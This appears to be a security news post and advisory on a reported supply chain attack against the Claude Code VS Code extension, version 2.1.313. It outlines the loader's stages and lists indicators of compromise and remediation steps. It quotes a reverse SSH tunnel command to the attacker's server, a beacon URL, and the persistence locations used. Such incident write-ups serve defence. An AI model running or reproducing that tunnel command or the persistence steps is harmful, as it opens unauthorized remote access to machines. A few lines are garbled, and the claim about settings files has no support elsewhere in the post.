HOC Shorts | BREAKING!
The official Claude Code VS Code extension compromised in a supply chain attack on October 30, 2026.
- The Threat: Threat actors injected a malicious loader into version 2.1.313 that secretly installed persistent SSH backdoors and exfiltrated host data.
- The Fix: Anthropic swiftly pulled the tainted build and released a clean patch (v2.1.314).
- Action Required: Developers must immediately verify their extension version and manually audit their ~/.ssh/authorized_keys file to remove any unauthorized remote access.
What Happened?
The official Claude Code VS Code extension (`anthropic.claude-code`) compromised in a supply chain attack. Malicious actors published version 2.1.313, which contained a hidden loader designed to install a persistent SSH backdoor, exfiltrate host details, and establish unauthorized remote access. Anthropic has since released version 2.1.314 to patch the breach, but users who installed the tainted version must manually audit their systems for residual threats, cursor identified.
The Breakdown
In a sophisticated supply chain compromise, threat actors briefly gained control of the publishing pipeline for the official Claude Code extension on the Open VSX registry.
According to telemetry from security firms like StepSecurity and Phorion, the malicious build (v2.1.313) executed a multi-stage payload upon installation:
1. Malicious Loader Injection: A hidden script was embedded within the extension’s core files.
2. SSH Backdoor Deployment: The payload generated and appended an unauthorized SSH public key to the victim’s `~/.ssh/authorized_keys` file.
3. Persistence & Exfiltration: The malware established persistence mechanisms and beaconed out, sending basic host environment details to an attacker-controlled command-and-control (C2) server.
The window of exposure was narrow but critical. Anthropic swiftly responded by pulling the compromised version and publishing a clean build, v2.1.314, effectively neutralizing the active distribution.
Technical Breakdown! Claude Code VS Code Extension
Technical Summary: Trojanized Claude Code Extension (v2.1.313)
Infection Vector
A 66-line malicious JavaScript loader was prepended to the legitimate `extension.js` bundle of `anthropic.claude-code@2.1.313` on the Open VSX registry. According to Opensource malware, the payload executes immediately upon VS Code startup or webview initialization via an Immediately Invoked Function Expression (IIFE), requiring no user interaction or package lifecycle hooks.
Payload Execution Chain
1. Reconnaissance: Harvests hostname, OS/architecture, home directory, global Git email, and names of environment variables containing keywords like `KEY`, `TOKEN`, `AWS`, or `GCP`.
2. Access Provisioning: Creates `~/.ssh` (mode `0700`) and appends a hardcoded Ed25519 public key labeled `svc-telemetry` to `~/.ssh/authorized_keys` (mode `0600`).
3. Service Enablement: Attempts to enable the local SSH daemon (macOS `systemsetup`, Linux `systemctl`, Windows PowerShell OpenSSH install).
4. Reverse Tunneling: Decodes an embedded base64 OpenSSH private key and establishes a persistent reverse SSH tunnel to the C2 server: `ssh -N -R ':0:localhost:22' tunnel@134.209.82.225`.
5. Beaconing: After 1.5s, queries `ifconfig.me`/`api.ipify.org` and sends a JSON telemetry beacon to `http://134.209.82.225:8099/beacon`.
6. Persistence:
- macOS:
`~/Library/LaunchAgents/com.apple.sysmond.plist`(deceptive naming) - Linux:
`@reboot` cron job executing `~/.config/.smt` - Windows: Scheduled Task
`SysMon`or Startup folder`sysmon.cmd`
Key Indicators of Compromise (IOCs)
– Package: `anthropic.claude-code@2.1.313`
– C2 IP: `134.209.82.225` (Ports 22, 8099)
– SSH Key Fingerprint: `SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk`
– Malicious Files: `~/.config/.smt`, `~/.config/.smtk`, `${TMPDIR}/.stk_`
– File Hash (extension.js): `ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15`
Detection & Response
Hunt for the `svc-telemetry` SSH key comment, outbound connections to `134.209.82.225`, and persistent `ssh`/`autossh` processes with `-R :0:localhost:22`. If compromised, isolate the host, remove the extension/persistence artifacts, and rotate all credentials accessible to that user environment.
Impact & Risk Assessment
This incident highlights a growing threat vector: AI coding assistants as an attack surface. Because developer tools inherently require deep system access (e.g., file system reads, terminal execution, and network requests), a compromised extension bypasses traditional perimeter defenses.
– Who is at risk? Developers who auto-update extensions or manually installed v2.1.313 between the time of the malicious publish and its takedown.
– Why it matters: This marks one of the first documented cases where an official AI coding assistant extension was weaponized to target developer environments, specifically manipulating Claude Code configuration files (`~/.claude/settings.json`).
Immediate Mitigation Steps (Do This Now)
If you use Claude Code VS Code Extension or Cursor, follow these forensic and remediation steps immediately:
1. Verify Your Extension Version:
Open VS Code, go to Extensions, and search for `anthropic.claude-code`. Ensure the version is 2.1.314 or higher. If it shows 2.1.313, uninstall it immediately.
2. Audit SSH Authorized Keys:
Check your system for unauthorized access by running:
cat ~/.ssh/authorized_keys
Action: Remove any unfamiliar SSH keys, especially those added on October 30, 2026.
3. Check for Persistence Mechanisms:
Review cron jobs (`crontab -l`), systemd services, and startup scripts for anomalous entries referencing `.claude` or unknown shell scripts.
4. Rotate Credentials:
If you suspect the extension was installed during the exposure window, proactively rotate SSH key pairs, cloud provider API keys, and local passwords stored in the affected environment.
The compromise of the official Claude code VS code extension is a wake-up call for engineering teams. As AI coding assistants become ubiquitous, they must be treated with the same zero-trust scrutiny as any other privileged system component. Verify your versions, audit your SSH keys, and never assume “official” means “immutable.”
Frequently Asked Questions (FAQ)
Q: Did Anthropic’s systems get hacked?
A: Current evidence points to a supply chain compromise of the extension publishing pipeline (e.g., credential theft or CI/CD hijacking), not a breach of Anthropic’s core AI models or internal user data.
Q: I have auto-update enabled. Am I safe now?
A: Yes, auto-update should have already pulled the clean v2.1.314. However, you must still manually check your `~/.ssh/authorized_keys` file, as the backdoor may have already been installed during the brief window of exposure.
Q: Does this affect Cursor or GitHub Copilot?
A: This specific attack targeted the official `anthropic.claude-code` extension. However, security researchers warn that the entire AI developer ecosystem (including Cursor, Copilot, and Amazon Q) is an expanding attack surface requiring strict extension governance.
